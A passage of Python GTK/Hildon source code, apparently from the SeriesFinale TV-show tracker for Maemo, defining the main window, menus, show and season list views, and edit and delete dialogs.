gettext.bindtextdomain(constants.SF_COMPACT_NAME, constants.LOCALE_DIR) gettext.textdomain(constants.SF_COMPACT_NAME) language = gettext.translation(constants.SF_COMPACT_NAME, constants.LOCALE_DIR, languages = languages, fallback = True) _ = language.gettext # Autorotation self._rotation_manager = FremantleRotation(constants.SF_COMPACT_NAME, self) self.connection_manager = ConnectionManager() self.connection_manager.connect('connection-changed', self._on_connection_changed) self.series_manager = SeriesManager() self.settings = Settings() hildon.hildon_gtk_window_set_progress_indicator(self, True) save_pid = AsyncItem(self.save_current_pid,()) load_conf_item = AsyncItem(self.settings.load, (constants.SF_CONF_FILE,)) load_shows_item = AsyncItem(self.series_manager.load, (constants.SF_DB_FILE,), self._load_finished) self.series_manager.connect('show-list-changed', self._show_list_changed_cb) self.series_manager.connect('get-full-show-complete', self._get_show_complete_cb) self.series_manager.connect('update-show-episodes-complete', self._update_show_complete_cb) self.series_manager.connect('update-shows-call-complete', self._update_all_shows_complete_cb) self.series_manager.connect('updated-show-art', self._update_show_art) self.request = AsyncWorker(True) self.request.queue.put(save_pid) self.request.queue.put(load_conf_item) self.request.queue.put(load_shows_item) old_pid = self.get_previous_pid() if old_pid: show_information(self, _("Waiting for previous SeriesFinale to finish....")) gobject.timeout_add(2000, self.run_after_pid_finish, old_pid, self.request.start) else: self.request.start() self.shows_view = ShowsSelectView() self.shows_view.connect('row-activated', self._row_activated_cb) self.shows_view.connect_after('long-press', self._long_press_cb) self.set_title(constants.SF_NAME) self.set_app_menu(self._create_menu()) self.live_search = LiveSearchEntry(self.shows_view.tree_model, self.shows_view.tree_filter, ShowListStore.SEARCH_COLUMN) area = hildon.PannableArea() area.add(self.shows_view) box = gtk.VBox() box.pack_start(area) box.pack_end(self.live_search, False, False) self.add(box) box.show_all() self.live_search.hide() self.connect('delete-event', self._exit_cb) self._update_delete_menu_visibility() self.connect('key-press-event', self._key_press_event_cb) self._have_deleted = False def save_current_pid(self): pidfile = open(constants.SF_PID_FILE, 'w') pidfile.write('%s' % os.getpid()) pidfile.close() def get_previous_pid(self): if not os.path.isfile(constants.SF_PID_FILE): return None pidfile = open(constants.SF_PID_FILE, 'r') pid = pidfile.readline() pidfile.close() if os.path.exists('/proc/%s' % pid): return pid else: os.remove(constants.SF_PID_FILE) return None def run_after_pid_finish(self, pid, callback): if os.path.exists('/proc/%s' % pid): return True callback() return False def _load_finished(self, dummy_arg, error): self.shows_view.set_shows(self.series_manager.series_list) hildon.hildon_gtk_window_set_progress_indicator(self, False) self.request = None self._update_delete_menu_visibility() self.shows_view.sort() self.sort_by_name_filter.set_active( self.settings.getConf(Settings.SHOWS_SORT) != \ Settings.RECENT_EPISODE) self._applyRotation() self.series_manager.auto_save(True) def _create_menu(self): menu = hildon.AppMenu() button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Add shows')) button.connect('clicked', self._add_shows_cb) menu.append(button) self.sort_by_ep_filter = hildon.GtkRadioButton( gtk.HILDON_SIZE_FINGER_HEIGHT) self.sort_by_ep_filter.set_mode(False) self.sort_by_ep_filter.set_label(_('Sort by ep. date')) menu.add_filter(self.sort_by_ep_filter) self.sort_by_name_filter = hildon.GtkRadioButton( gtk.HILDON_SIZE_FINGER_HEIGHT, group = self.sort_by_ep_filter) self.sort_by_name_filter.set_mode(False) self.sort_by_name_filter.set_label(_('Sort by name')) menu.add_filter(self.sort_by_name_filter) self.sort_by_name_filter.set_active( self.settings.getConf(Settings.SHOWS_SORT) != \ Settings.RECENT_EPISODE) self.sort_by_ep_filter.connect('clicked', lambda w: self.shows_view.sort_by_recent_date()) self.sort_by_name_filter.connect('clicked', lambda w: self.shows_view.sort_by_name_ascending()) self.delete_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.delete_menu.set_label(_('Delete shows')) self.delete_menu.connect('clicked', self._delete_shows_cb) menu.append(self.delete_menu) self.update_all_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.update_all_menu.set_label(_('Update all')) self.update_all_menu.connect('clicked', self._update_all_shows_cb) menu.append(self.update_all_menu) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Settings')) button.connect('clicked', self._settings_menu_clicked_cb) menu.append(button) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('About')) button.connect('clicked', self._about_menu_clicked_cb) menu.append(button) menu.show_all() return menu def _add_shows_cb(self, button): new_show_dialog = NewShowsDialog(self) response = new_show_dialog.run() new_show_dialog.destroy() if response == NewShowsDialog.ADD_AUTOMATICALLY_RESPONSE: self._launch_search_shows_dialog() elif response == NewShowsDialog.ADD_MANUALLY_RESPONSE: self._new_show_dialog() def _delete_shows_cb(self, button): delete_shows_view = ShowsDeleteView(self.series_manager) delete_shows_view.shows_select_view.set_shows(self.series_manager.series_list) delete_shows_view.show_all() self._have_deleted = True def _launch_search_shows_dialog(self): search_dialog = SearchShowsDialog(self, self.series_manager, self.settings) response = search_dialog.run() show = None if response == gtk.RESPONSE_ACCEPT: if search_dialog.chosen_show: hildon.hildon_gtk_window_set_progress_indicator(self, True) show_information(self, _('Gathering show information. Please wait...')) if search_dialog.chosen_lang: self.series_manager.get_complete_show(search_dialog.chosen_show, search_dialog.chosen_lang) else: self.series_manager.get_complete_show(search_dialog.chosen_show) search_dialog.destroy() def _get_show_complete_cb(self, series_manager, show, error): if error: error_message = '' if 'socket' in str(error).lower(): error_message = '\n ' + _('Please verify your internet connection ' 'is available') show_information(self, _('An error occurred. %s') % error_message) else: self.shows_view.set_shows(self.series_manager.series_list) self._update_delete_menu_visibility() hildon.hildon_gtk_window_set_progress_indicator(self, False) def _row_activated_cb(self, view, path, column): show = self.shows_view.get_show_from_path(path) seasons_view = SeasonsView(self.settings, self.series_manager, self.connection_manager, show) seasons_view.connect('delete-event', lambda w, e: self.shows_view.update(show)) seasons_view.show_all() self.live_search.hide() def _long_press_cb(self, widget, path, column): show = self.shows_view.get_show_from_path(path) dialog = ShowContextDialog(show, self) response = dialog.run() dialog.destroy() if response == ShowContextDialog.INFO_RESPONSE: dialog = ShowInfoDialog(show, title = show.name, parent = self) dialog.run() dialog.destroy() elif response == ShowContextDialog.DELETE_RESPONSE: dialog = gtk.Dialog(title = _('Delete Show'), parent = self, buttons = (gtk.STOCK_NO, gtk.RESPONSE_NO, gtk.STOCK_YES, gtk.RESPONSE_YES)) label = gtk.Label(_('Are you sure you want to delete ' 'the show:\n %(show_name)s' % \ {'show_name': show.name})) label.show() dialog.vbox.add(label) response = dialog.run() if response == gtk.RESPONSE_YES: self.series_manager.delete_show(show) dialog.destroy() elif response == ShowContextDialog.MARK_NEXT_EPISODE_RESPONSE: episodes_info = show.get_episodes_info() next_episode = episodes_info['next_episode'] if next_episode: next_episode.watched = True next_episode.updated() self.shows_view.update(show) elif response == ShowContextDialog.UPDATE_RESPONSE: hildon.hildon_gtk_window_set_progress_indicator(self, True) self.series_manager.update_show_episodes(show) def _new_show_dialog(self): new_show_dialog = NewShowDialog(self) response = new_show_dialog.run() if response == gtk.RESPONSE_ACCEPT: show_info = new_show_dialog.get_info() show = Show(show_info['name']) show.overview = show_info['overview'] show.genre = show_info['genre'] show.network = show_info['network'] show.rating = show_info['rating'] show.actors = show_info['actors'] self.series_manager.add_show(show) new_show_dialog.destroy() def _exit_cb(self, window, event): if self.request: self.request.stop() hildon.hildon_gtk_window_set_progress_indicator(self, True) # If the shows list is empty but the user hasn't deleted # any, then we don't save in order to avoid overwriting # the current db (for the shows list might be empty due # to an error) if not self.series_manager.series_list and not self._have_deleted: gtk.main_quit() return self.series_manager.auto_save(False) save_shows_item = AsyncItem(self.series_manager.save, (constants.SF_DB_FILE,)) save_conf_item = AsyncItem(self.settings.save, (constants.SF_CONF_FILE,), self._save_finished_cb) async_worker = AsyncWorker(False) async_worker.queue.put(save_shows_item) async_worker.queue.put(save_conf_item) async_worker.start() def _save_finished_cb(self, dummy_arg, error): hildon.hildon_gtk_window_set_progress_indicator(self, False) gtk.main_quit() def _show_list_changed_cb(self, series_manager): self.shows_view.set_shows(self.series_manager.series_list) self._update_delete_menu_visibility() return False def _update_delete_menu_visibility(self): if not self.series_manager.series_list or self.request: self.delete_menu.hide() self.update_all_menu.hide() else: self.delete_menu.show() self._on_connection_changed(self.connection_manager) def _update_all_shows_cb(self, button): hildon.hildon_gtk_window_set_progress_indicator(self, True) self.request = self.series_manager.update_all_shows_episodes() self.set_sensitive(False) self._update_delete_menu_visibility() def _update_all_shows_complete_cb(self, series_manager, show, error): self._show_list_changed_cb(self.series_manager) if self.request: if error: show_information(self, _('Please verify your internet connection ' 'is available')) else: show_information(self, _('Finished updating the shows')) self.request = None self.set_sensitive(True) self._update_delete_menu_visibility() hildon.hildon_gtk_window_set_progress_indicator(self, False) def _update_show_complete_cb(self, series_manager, show, error): show_information(self, _('Updated "%s"') % show.name) def _update_show_art(self, series_manager, show): self.shows_view.update_art(show) def _about_menu_clicked_cb(self, menu): about_dialog = AboutDialog(self) about_dialog.set_logo(constants.SF_ICON) about_dialog.set_name(constants.SF_NAME) about_dialog.set_version(constants.SF_VERSION) about_dialog.set_comments(constants.SF_DESCRIPTION) about_dialog.set_authors(constants.SF_AUTHORS) about_dialog.set_copyright(constants.SF_COPYRIGHT) about_dialog.set_license(saxutils.escape(constants.SF_LICENSE)) about_dialog.run() about_dialog.destroy() def _settings_menu_clicked_cb(self, menu): settings_dialog = SettingsDialog(self) response = settings_dialog.run() settings_dialog.destroy() if response == gtk.RESPONSE_ACCEPT: self._applyRotation() def _applyRotation(self): configured_mode = self.settings.getConf(Settings.SCREEN_ROTATION) modes = [self._rotation_manager.AUTOMATIC, self._rotation_manager.ALWAYS, self._rotation_manager.NEVER] self._rotation_manager.set_mode(modes[configured_mode]) def _key_press_event_cb(self, window, event): char = gtk.gdk.keyval_to_unicode(event.keyval) if self.live_search.is_focus() or char == 0 or not chr(char).strip(): return self.live_search.show() def _on_connection_changed(self, connection_manager): if connection_manager.is_online(): self.update_all_menu.show() else: self.update_all_menu.hide() class DeleteView(hildon.StackableWindow): def __init__(self, tree_view, toolbar_title = _('Delete'), button_label = _('Delete')): super(DeleteView, self).__init__() self.tree_view = tree_view hildon.hildon_gtk_tree_view_set_ui_mode(self.tree_view, gtk.HILDON_UI_MODE_EDIT) self.tree_view.get_selection().set_mode(gtk.SELECTION_MULTIPLE) shows_area = hildon.PannableArea() shows_area.add(self.tree_view) self.add(shows_area) self.toolbar = hildon.EditToolbar() self.toolbar.set_label(toolbar_title) self.toolbar.set_button_label(button_label) self.toolbar.connect('arrow-clicked', lambda toolbar: self.destroy()) self.set_edit_toolbar(self.toolbar) self.fullscreen() class ShowsDeleteView(DeleteView): def __init__(self, series_manager): self.shows_select_view = ShowsSelectView() super(ShowsDeleteView, self).__init__(self.shows_select_view, _('Delete shows'), _('Delete')) self.series_manager = series_manager self.toolbar.connect('button-clicked', self._button_clicked_cb) def _button_clicked_cb(self, button): selection = self.shows_select_view.get_selection() selected_rows = selection.get_selected_rows() model, paths = selected_rows if not paths: show_information(self, _('Please select one or more shows')) return for path in paths: self.series_manager.delete_show(model[path][ShowListStore.SHOW_COLUMN]) self.destroy() class ShowsSelectView(EnhancedTreeView): def __init__(self): super(ShowsSelectView, self).__init__() self.tree_model = ShowListStore() show_image_renderer = gtk.CellRendererPixbuf() column = gtk.TreeViewColumn('Image', show_image_renderer, pixbuf = ShowListStore.IMAGE_COLUMN) self.append_column(column) show_renderer = gtk.CellRendererText() show_renderer.set_property('ellipsize', pango.ELLIPSIZE_END) column = gtk.TreeViewColumn('Name', show_renderer, markup = ShowListStore.INFO_COLUMN) self.tree_filter = self.tree_model.filter_new() self.set_model(self.tree_filter) self.append_column(column) def set_shows(self, shows): self.tree_model.add_shows(shows) gobject.idle_add(self.sort) def get_show_from_path(self, path): return self.get_model()[path][ShowListStore.SHOW_COLUMN] def sort_by_recent_date(self): self.tree_model.set_sort_column_id(self.tree_model.NEXT_EPISODE_COLUMN, gtk.SORT_ASCENDING) Settings().setConf(Settings.SHOWS_SORT, Settings.RECENT_EPISODE) def sort_by_name_ascending(self): self.tree_model.set_sort_column_id(self.tree_model.INFO_COLUMN, gtk.SORT_ASCENDING) Settings().setConf(Settings.SHOWS_SORT, Settings.ASCENDING_ORDER) def update(self, show = None): if self.tree_model: self.tree_model.update(show) self.sort() def update_art(self, show = None): if self.tree_model: self.tree_model.update_pixmaps(show) def sort(self): shows_sort_order = Settings().getConf(Settings.SHOWS_SORT) if shows_sort_order == Settings.RECENT_EPISODE: self.sort_by_recent_date() else: self.sort_by_name_ascending() class ShowListStore(gtk.ListStore): IMAGE_COLUMN = 0 INFO_COLUMN = 1 SHOW_COLUMN = 2 SEARCH_COLUMN = 3 NEXT_EPISODE_COLUMN = 4 def __init__(self): super(ShowListStore, self).__init__(gtk.gdk.Pixbuf, str, gobject.TYPE_PYOBJECT, str, gobject.TYPE_PYOBJECT) self.cached_pixbufs = {} self.downloading_pixbuf = get_downloading_pixbuf() self.set_sort_func(self.NEXT_EPISODE_COLUMN, self._sort_func) def add_shows(self, shows): self.clear() for show in shows: escaped_name = saxutils.escape(show.name) row = {self.IMAGE_COLUMN: self.downloading_pixbuf, self.INFO_COLUMN: escaped_name, self.SHOW_COLUMN: show, self.SEARCH_COLUMN: saxutils.escape(show.name).lower(), self.NEXT_EPISODE_COLUMN: None } self.append(row.values()) self.update(None) self.update_pixmaps() def update(self, show): iter = self.get_iter_first() while iter: current_show = self.get_value(iter, self.SHOW_COLUMN) if show is None or show == current_show: self._update_iter(iter) iter = self.iter_next(iter) def _update_iter(self, iter): show = self.get_value(iter, self.SHOW_COLUMN) info = show.get_episodes_info() info_markup = show.get_info_markup(info) self.set_value(iter, self.INFO_COLUMN, info_markup) self.set_value(iter, self.NEXT_EPISODE_COLUMN, info['next_episode']) self.set_value(iter, self.SEARCH_COLUMN, show.name.lower()) def _load_pixmap_async(self, show, pixbuf): if pixbuf_is_cover(pixbuf): return if show.image and os.path.isfile(show.image): pixbuf = self.cached_pixbufs.get(show.image) if not pixbuf: try: pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(show.image, constants.IMAGE_WIDTH, constants.IMAGE_HEIGHT) except: pixbuf = get_placeholder_pixbuf() self.cached_pixbufs[show.image] = pixbuf elif show.downloading_show_image: pixbuf = self.downloading_pixbuf else: pixbuf = get_placeholder_pixbuf() return pixbuf def _load_pixmap_async_finished(self, show, pixbuf, error): if error or not pixbuf: return iter = self._get_iter_for_show(show) if iter: self.set_value(iter, self.IMAGE_COLUMN, pixbuf) def update_pixmaps(self, show = None): iter = self.get_iter_first() async_worker = AsyncWorker(True) while iter: current_show = self.get_value(iter, self.SHOW_COLUMN) same_show = show == current_show if show is None or same_show: pixbuf = self.get_value(iter, self.IMAGE_COLUMN) async_item = AsyncItem(self._load_pixmap_async, (current_show, pixbuf), self._load_pixmap_async_finished, (current_show,)) async_worker.queue.put(async_item) if same_show: break iter = self.iter_next(iter) async_worker.start() def _sort_func(self, model, iter1, iter2): episode1 = model.get_value(iter1, self.NEXT_EPISODE_COLUMN) episode2 = model.get_value(iter2, self.NEXT_EPISODE_COLUMN) if not episode1: if episode2: return 1 return 0 if not episode2: if episode1: return -1 most_recent = (episode1 or episode2).get_most_recent(episode2) if not most_recent: return 0 if episode1 == most_recent: return -1 return 1 def _get_iter_for_show(self, show): if not show: return None iter = self.get_iter_first() while iter: current_show = self.get_value(iter, self.SHOW_COLUMN) if show == current_show: break iter = self.iter_next(iter) return iter class SeasonsView(hildon.StackableWindow): def __init__(self, settings, series_manager, connection_manager, show): super(SeasonsView, self).__init__() self.set_title(show.name) self.settings = settings self.series_manager = series_manager self.series_manager.connect('update-show-episodes-complete', self._update_show_episodes_complete_cb) self.series_manager.connect('updated-show-art', self._update_show_art) self.connection_manager = connection_manager self.connection_manager.connect('connection-changed', self._on_connection_changed) self.show = show self.set_app_menu(self._create_menu()) self.set_title(show.name) self.seasons_select_view = SeasonSelectView(self.show) seasons = self.show.get_seasons() self.seasons_select_view.set_seasons(seasons) self.seasons_select_view.connect('row-activated', self._row_activated_cb) self.seasons_select_view.connect('long-press', self._long_press_cb) self.connect('delete-event', self._delete_event_cb) seasons_area = hildon.PannableArea() seasons_area.add(self.seasons_select_view) self.add(seasons_area) if self.settings.getConf(self.settings.SEASONS_ORDER_CONF_NAME) == \ self.settings.ASCENDING_ORDER: self._sort_ascending_cb(None) else: self._sort_descending_cb(None) self.request = None self._update_menu_visibility() def _delete_event_cb(self, window, event): if self.request: self.request.stop() self.request = None return False def _row_activated_cb(self, view, path, column): season = self.seasons_select_view.get_season_from_path(path) episodes_view = EpisodesView(self.settings, self.show, season) episodes_view.connect('delete-event', self._update_series_list_cb) episodes_view.connect('episode-list-changed', self._update_series_list_cb) episodes_view.show_all() def _long_press_cb(self, widget, path, column): season = self.seasons_select_view.get_season_from_path(path) context_dialog = SeasonContextDialog(self.show, season, self) response = context_dialog.run() context_dialog.destroy() if response == SeasonContextDialog.MARK_EPISODES_RESPONSE: self.show.mark_all_episodes_as_watched(season) elif response == SeasonContextDialog.UNMARK_EPISODES_RESPONSE: self.show.mark_all_episodes_as_not_watched(season) elif response == SeasonContextDialog.DELETE_RESPONSE: dialog = gtk.Dialog(title = _('Delete Season'), parent = self, buttons = (gtk.STOCK_NO, gtk.RESPONSE_NO, gtk.STOCK_YES, gtk.RESPONSE_YES)) label = gtk.Label(_('Are you sure you want to delete ' 'this season?')) label.show() dialog.vbox.add(label) response = dialog.run() if response == gtk.RESPONSE_YES: self.show.delete_season(season) dialog.destroy() seasons = self.show.get_seasons(); self.seasons_select_view.set_seasons(seasons) def _update_series_list_cb(self, widget, event = None): seasons = self.show.get_seasons(); self.seasons_select_view.set_seasons(seasons) self._update_menu_visibility() def _create_menu(self): menu = hildon.AppMenu() button_asc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button_asc.set_mode(False) button_asc.set_label(_('A-Z')) menu.add_filter(button_asc) button_desc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT, group = button_asc) button_desc.set_mode(False) button_desc.set_label(_('Z-A')) menu.add_filter(button_desc) if self.settings.getConf(Settings.SEASONS_ORDER_CONF_NAME) == \ Settings.ASCENDING_ORDER: button_asc.set_active(True) else: button_desc.set_active(True) button_asc.connect('clicked', self._sort_ascending_cb) button_desc.connect('clicked', self._sort_descending_cb) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Info')) button.connect('clicked', self._show_info_cb) menu.append(button) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Edit info')) button.connect('clicked', self._edit_show_info) menu.append(button) self.update_menu = None if str(self.show.thetvdb_id) != '-1': self.update_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.update_menu.set_label(_('Update show')) self.update_menu.connect('clicked', self._update_series_cb) menu.append(self.update_menu) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Delete season')) button.connect('clicked', self._delete_seasons_cb) menu.append(button) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('New episode')) button.connect('clicked', self._new_episode_cb) menu.append(button) menu.show_all() return menu def _update_menu_visibility(self): if not self.update_menu: return if self.request or not self.show.get_seasons(): self.update_menu.hide() else: self.update_menu.show() self._on_connection_changed(self.connection_manager) def _update_series_cb(self, button): self.request = self.series_manager.update_show_episodes(self.show) hildon.hildon_gtk_window_set_progress_indicator(self, True) self.set_sensitive(False) show_information(self, _('Updating show. Please wait...')) self._update_menu_visibility() def _show_info_cb(self, button): dialog = ShowInfoDialog(parent = self) dialog.run() dialog.destroy() def _edit_show_info(self, button): edit_series_dialog = EditShowsDialog(self, self.show) response = edit_series_dialog.run() info = edit_series_dialog.get_info() edit_series_dialog.destroy() if response == gtk.RESPONSE_ACCEPT: self.show.name = info['name'] self.show.overview = info['overview'] self.show.genre = info['genre'] self.show.network = info['network'] self.show.rating = info['rating'] self.show.actors = info['actors'] self.series_manager.updated() self.set_title(self.show.name) def _new_episode_cb(self, button): new_episode_dialog = NewEpisodeDialog(self, self.show) response = new_episode_dialog.run() if response == gtk.RESPONSE_ACCEPT: episode_info = new_episode_dialog.get_info() episode = Episode(episode_info['name'], self.show, episode_info['number']) episode.overview = episode_info['overview'] episode.season_number = episode_info['season'] episode.episode_number = episode_info['number'] episode.director = episode_info['director'] episode.writer = episode_info['writer'] episode.rating = episode_info['rating'] episode.air_date = episode_info['air_date'] episode.guest_stars = episode_info['guest_stars'] self.show.update_episode_list([episode]) seasons = self.show.get_seasons() self.seasons_select_view.set_seasons(seasons) new_episode_dialog.destroy() def _update_show_episodes_complete_cb(self, series_manager, show, error): if error and self.request: error_message = '' if 'socket' in str(error).lower(): error_message = '\n ' + _('Please verify your internet connection ' 'is available') show_information(self, error_message) elif show == self.show: seasons = self.show.get_seasons() model = self.seasons_select_view.get_model() if model: model.clear() self.seasons_select_view.set_seasons(seasons) hildon.hildon_gtk_window_set_progress_indicator(self, False) self.set_sensitive(True) self.request = None self._update_menu_visibility() def _update_show_art(self, series_manager, show): if show == self.show: self.seasons_select_view.update() def _delete_seasons_cb(self, button): seasons_delete_view = SeasonsDeleteView(self.series_manager, self.seasons_select_view) seasons = self.show.get_seasons() seasons_delete_view.show_all() def _on_connection_changed(self, connection_manager): if connection_manager.is_online(): self.update_menu.show() else: self.update_menu.hide() def _sort_ascending_cb(self, button): self.seasons_select_view.sort_ascending() self.settings.setConf(self.settings.SEASONS_ORDER_CONF_NAME, self.settings.ASCENDING_ORDER) def _sort_descending_cb(self, button): self.seasons_select_view.sort_descending() self.settings.setConf(self.settings.SEASONS_ORDER_CONF_NAME, self.settings.DESCENDING_ORDER) class ShowInfoDialog(gtk.Dialog): def __init__(self, show, title = '', parent = None): gtk.Dialog.__init__(self, title = title, parent = parent) self.show = show self.set_title(_('Show details')) infotextview = InfoTextView() infotextview.set_title(self.show.name) infotextview.add_field (self.show.overview) infotextview.add_field ('\n') infotextview.add_field (self.show.genre, _('Genre')) infotextview.add_field (self.show.network, _('Network')) infotextview.add_field (self.show.actors, _('Actors')) infotextview.add_field (self.show.rating, _('Rating')) info_area = hildon.PannableArea() info_area.add_with_viewport(infotextview) info_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN) info_area.set_size_request(-1, 800) self.vbox.add(info_area) self.vbox.show_all() class SeasonsDeleteView(DeleteView): def __init__(self, series_manager, seasons_select_view): self.seasons_select_view = SeasonSelectView(seasons_select_view.show) self.seasons_select_view.set_model(seasons_select_view.get_model()) super(SeasonsDeleteView, self).__init__(self.seasons_select_view, _('Delete seasons'), _('Delete')) self.series_manager = series_manager self.toolbar.connect('button-clicked', self._button_clicked_cb) def _button_clicked_cb(self, button): selection = self.seasons_select_view.get_selection() selected_rows = selection.get_selected_rows() model, paths = selected_rows if not paths: show_information(self, _('Please select one or more seasons')) return seasons = [model[path][SeasonListStore.SEASON_COLUMN] for path in paths] for season in seasons: self.seasons_select_view.show.delete_season(season) model.delete_season(season) self.destroy() class SeasonListStore(gtk.ListStore): IMAGE_COLUMN = 0 INFO_COLUMN = 1 SEASON_COLUMN = 2 def __init__(self, show): super(SeasonListStore, self).__init__(gtk.gdk.Pixbuf, str, str) self.show = show def add(self, season_list): self.clear() for season in season_list: if season == '0': name = _('Special') else: name = _('Season %s') % season row = {self.IMAGE_COLUMN: None, self.INFO_COLUMN: name, self.SEASON_COLUMN: season, } self.append(row.values()) self.update() def update(self): iter = self.get_iter_first() while iter: self._update_iter(iter) iter = self.iter_next(iter) def delete_season(self, season): iter = self.get_iter_first() while iter: if self.get_value(iter, self.SEASON_COLUMN) == season: self.remove(iter) break iter = self.iter_next(iter) def _update_iter(self, iter): season = self.get_value(iter, self.SEASON_COLUMN) info = self.show.get_season_info_markup(season) self.set_value(iter, self.INFO_COLUMN, info) pixbuf = self.get_value(iter, self.IMAGE_COLUMN) image = self.show.season_images.get(season) if pixbuf_is_cover(pixbuf): return if image and os.path.isfile(image): try: pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(image, constants.IMAGE_WIDTH, constants.IMAGE_HEIGHT) except: pixbuf = get_placeholder_pixbuf() self.set_value(iter, self.IMAGE_COLUMN, pixbuf) elif self.show.downloading_season_image: pixbuf = get_downloading_pixbuf() self.set_value(iter, self.IMAGE_COLUMN, pixbuf) else: pixbuf = get_placeholder_pixbuf() self.set_value(iter, self.IMAGE_COLUMN, pixbuf) class SeasonSelectView(EnhancedTreeView): def __init__(self, show): super(SeasonSelectView, self).__init__() self.show = show model = SeasonListStore(self.show) season_image_renderer = gtk.CellRendererPixbuf() column = gtk.TreeViewColumn('Image', season_image_renderer, pixbuf = model.IMAGE_COLUMN) self.append_column(column) season_renderer = gtk.CellRendererText() season_renderer.set_property('ellipsize', pango.ELLIPSIZE_END) column = gtk.TreeViewColumn('Name', season_renderer, markup = model.INFO_COLUMN) self.set_model(model) self.append_column(column) self.get_model().set_sort_func(SeasonListStore.SEASON_COLUMN, self._sort_func) def set_seasons(self, season_list): model = self.get_model() model.add(season_list) def get_season_from_path(self, path): model = self.get_model() iter = model.get_iter(path) season = model.get_value(iter, model.SEASON_COLUMN) return season def update(self): model = self.get_model() if model: model.update() def _sort_func(self, model, iter1, iter2): season1 = model.get_value(iter1, SeasonListStore.SEASON_COLUMN) season2 = model.get_value(iter2, SeasonListStore.SEASON_COLUMN) if season1 == None or season2 == None: return 0 if int(season1) < int(season2): return -1 return 1 def sort_descending(self): model = self.get_model() model.set_sort_column_id(SeasonListStore.SEASON_COLUMN, gtk.SORT_DESCENDING) def sort_ascending(self): model = self.get_model() model.set_sort_column_id(SeasonListStore.SEASON_COLUMN, gtk.SORT_ASCENDING) class SeasonContextDialog(gtk.Dialog): MARK_EPISODES_RESPONSE = 1 << 0 UNMARK_EPISODES_RESPONSE = 1 << 1 DELETE_RESPONSE = 1 << 2 def __init__(self, show, season, parent): super(SeasonContextDialog, self).__init__(parent = parent) self.show = show self.season = season season_name = self.season if self.season == '0': season_name = _('Special') self.set_title(_('Season: %(season)s') % {'season': season_name}) box = gtk.HBox(True) mark_episodes_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) if self.show.is_completely_watched(self.season): mark_episodes_button.set_label(_('Unmark All Episodes')) mark_episodes_button.connect('clicked', lambda b: self.response(self.UNMARK_EPISODES_RESPONSE)) else: mark_episodes_button.set_label(_('Mark All Episodes')) mark_episodes_button.connect('clicked', lambda b: self.response(self.MARK_EPISODES_RESPONSE)) box.add(mark_episodes_button) delete_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) delete_button.set_label(_('Delete')) delete_button.connect('clicked', lambda b: self.response(self.DELETE_RESPONSE)) box.add(delete_button) self.vbox.add(box) self.vbox.show_all() class ShowContextDialog(gtk.Dialog): INFO_RESPONSE = 1 << 0 MARK_NEXT_EPISODE_RESPONSE = 1 << 1 UPDATE_RESPONSE = 1 << 2 DELETE_RESPONSE = 1 << 3 def __init__(self, show, parent): super(ShowContextDialog, self).__init__(parent = parent) self.show = show self.set_title(self.show.name) box = gtk.HBox(True) info_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) info_button.set_label('Info') info_button.connect('clicked', lambda b: self.response(self.INFO_RESPONSE)) box.add(info_button) if not show.is_completely_watched(): mark_next_ep_as_watched_button = \ hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) mark_next_ep_as_watched_button.set_label('Mark Next Episode') mark_next_ep_as_watched_button.connect('clicked', lambda b: self.response(self.MARK_NEXT_EPISODE_RESPONSE)) box.add(mark_next_ep_as_watched_button) online = ConnectionManager().is_online() if online or len(box.get_children()) > 1: self.vbox.add(box) box = gtk.HBox(True) if online: update_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) update_button.set_label(_('Update')) update_button.connect('clicked', lambda b: self.response(self.UPDATE_RESPONSE)) box.add(update_button) delete_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) delete_button.set_label(_('Delete')) delete_button.connect('clicked', lambda b: self.response(self.DELETE_RESPONSE)) box.add(delete_button) self.vbox.add(box) self.vbox.show_all() class NewShowDialog(gtk.Dialog): def __init__(self, parent): super(NewShowDialog, self).__init__(parent = parent, buttons = (gtk.STOCK_ADD, gtk.RESPONSE_ACCEPT)) self.set_title(_('Edit show')) self.show_name = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.show_overview = hildon.TextView() self.show_overview.set_placeholder(_('Overview')) self.show_overview.set_wrap_mode(gtk.WRAP_WORD) self.show_genre = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.show_network = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.show_rating = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.show_actors = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) contents = gtk.VBox(False, 0) row = gtk.HBox(False, 12) row.pack_start(gtk.Label(_('Name:')), False, False, 0) row.pack_start(self.show_name, True, True, 0) contents.pack_start(row, False, False, 0) contents.pack_start(self.show_overview, False, False, 0) fields = [(_('Genre:'), self.show_genre), (_('Network:'), self.show_network), (_('Rating:'), self.show_rating), (_('Actors:'), self.show_actors), ] size_group = gtk.SizeGroup(gtk.SIZE_GROUP_BOTH) for text, widget in fields: row = gtk.HBox(False, 12) label = gtk.Label(text) size_group.add_widget(label) row.pack_start(label, False, False, 0) row.pack_start(widget, True, True, 0) 